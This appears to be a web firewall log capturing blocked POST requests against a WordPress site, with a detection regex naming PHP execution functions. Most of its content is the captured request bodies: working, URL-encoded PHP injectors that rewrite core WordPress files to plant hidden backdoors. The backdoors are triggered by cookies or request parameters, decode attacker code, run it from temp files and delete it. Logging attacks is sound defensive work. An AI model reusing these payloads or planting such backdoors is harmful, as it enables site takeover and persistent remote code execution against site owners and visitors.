ray_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:38","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4421\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:49:41","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Of:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4398\nsec-ch-ua-mobile:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nOf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Poly1305\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B56%252B-56%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B49%252B-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-49%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-15%252B19%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524data%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524comp%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e5261b7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524comp%2529%2529%2520%257B%2520%2524comp%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524component%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524comp%2529%2529%2520%257B%2520%2524fac%2520%253D%2520fopen%2528%2524comp%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524fac%252C%2520%2524component%2529%253B%2520fclose%2528%2524fac%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524comp%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524comp%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524parameter_group%2520%253D%2520%2522baa7903d3e91bce159dd22add4e6d605%2522%253B%2520if%2520%2528%2521strncmp%2528%2524parameter_group%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522auth_exception_handler_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:44","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:3956\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nxI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
